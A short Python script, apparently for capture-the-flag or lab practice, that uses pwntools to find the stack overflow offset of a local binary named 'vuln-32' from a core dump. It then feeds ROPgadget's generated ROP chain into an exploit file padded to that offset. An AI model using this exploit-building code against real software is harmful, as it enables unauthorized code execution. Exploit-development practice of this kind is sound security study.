from pwnlib.elf.corefile import Coredump
from pwnlib.util.cyclic import cyclic, cyclic_find
from pwnlib.util.packing import pack
from pwnlib.tubes.process import process

import os
import subprocess

exec_name = "./vuln-32"

def find_offset(exec_name):
    # TODO: command line arguments
    input_file = "input.txt"
    core_file = "./core"

    os.remove(core_file)

    # TODO Loop until a crash, increase payload size each iteration
    with open(input_file, "wb") as f:
        payload = cyclic(512)
        f.write(payload)

    process([exec_name, input_file]).wait()

    core = Coredump('./core')

    assert pack(core.eip) in payload

    os.remove(input_file)

    return cyclic_find(core.eip)

offset = find_offset(exec_name)

# print("\t# Padding goes here") <-- search for this
# print("\tp = ''\n")

result = subprocess.run(["ROPgadget", "--binary", exec_name, "--ropchain"], stdout=subprocess.PIPE)
stdout = result.stdout


stdout = stdout.replace(b"p = ''\n", b"p = \"" + bytes('a' * offset, 'ascii') + b"\"\n")
with open("test.py", "wb") as f:
    f.write(stdout)